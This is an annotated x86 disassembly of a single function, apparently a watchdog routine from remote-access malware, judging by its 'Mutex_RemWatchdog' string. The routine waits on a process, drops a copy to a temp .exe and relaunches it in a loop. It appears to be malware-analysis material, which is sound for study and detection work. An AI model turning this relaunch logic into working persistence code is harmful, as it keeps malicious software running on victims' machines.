Function at 0x40fdd3
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
push ebx
push esi
push edi
push str.Mutex_RemWatchdog
push 1
xor ebx, ebx
mov dword [ebp - 4], ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x104
lea eax, [ebp - 0x840]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x46e5f0
mov ecx, esi
call fcn.0040247b
push eax
mov ecx, esi
call fcn.00401f87
push eax
push 0x208
lea eax, [ebp - 0x228]
mov edi, 0x46e5a8
push eax
push str.xwrwsss
mov ecx, edi
call fcn.00401f87
mov edx, eax
call fcn.00410a5f
add esp, 0x14
test al, al
jne 0x40fe4c
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x1c]
call fcn.004020c7
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x228]
call fcn.004183cc
test al, al
je 0x40fe45
push dword [ebp - 4]
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x466798
mov ecx, edi
call fcn.00401f87
mov edx, eax
call fcn.00410bdf
pop ecx
pop ecx
test al, al
je 0x41001c
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
lea eax, [ebp - 0x228]
jne 0x40ff7c
push ebx
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040247b
lea ecx, [ebp - 0x1c]
mov esi, eax
call fcn.00401f87
mov edx, esi
mov ecx, eax
call fcn.00418337
pop ecx
pop ecx
test al, al
je 0x40fefa
lea eax, [ebp - 0x228]
jmp 0x40ff7c
push 0x208
lea eax, [ebp - 0x638]
push ebx
push eax
call fcn.00432d80
add esp, 0xc
lea eax, [ebp - 0x638]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x430]
push eax
push ebx
push str.temp_
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push str..exe
lea eax, [ebp - 0x430]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
lea eax, [ebp - 0x430]
push eax
lea ecx, [ebp - 0x1c]
call fcn.0040247b
lea ecx, [ebp - 0x1c]
mov esi, eax
call fcn.00401f87
mov edx, esi
mov ecx, eax
call fcn.00418337
pop ecx
pop ecx
test al, al
je 0x40ff89
lea eax, [ebp - 0x430]
push 1
push ebx
push ebx
push eax
push 0x46075c
push ebx
call edi
mov esi, 0x46e5a8
lea eax, [ebp - 4]
mov ecx, esi
push eax
push 0x461468
call fcn.00401f87
mov edx, eax
call fcn.004108b4
mov bl, al
pop ecx
pop ecx
test bl, bl
je 0x40ffc3
push 0x461468
mov ecx, esi
call fcn.00401f87
mov edx, eax
call fcn.00410d11
pop ecx
jmp 0x40ffce
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
test bl, bl
je 0x40ff8e
push dword [ebp - 4]
xor ebx, ebx
push ebx
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x466798
mov ecx, 0x46e5a8
call fcn.00401f87
mov edx, eax
call fcn.00410bdf
pop ecx
pop ecx
test al, al
jne 0x40feb1
push 1
jmp 0x40fe46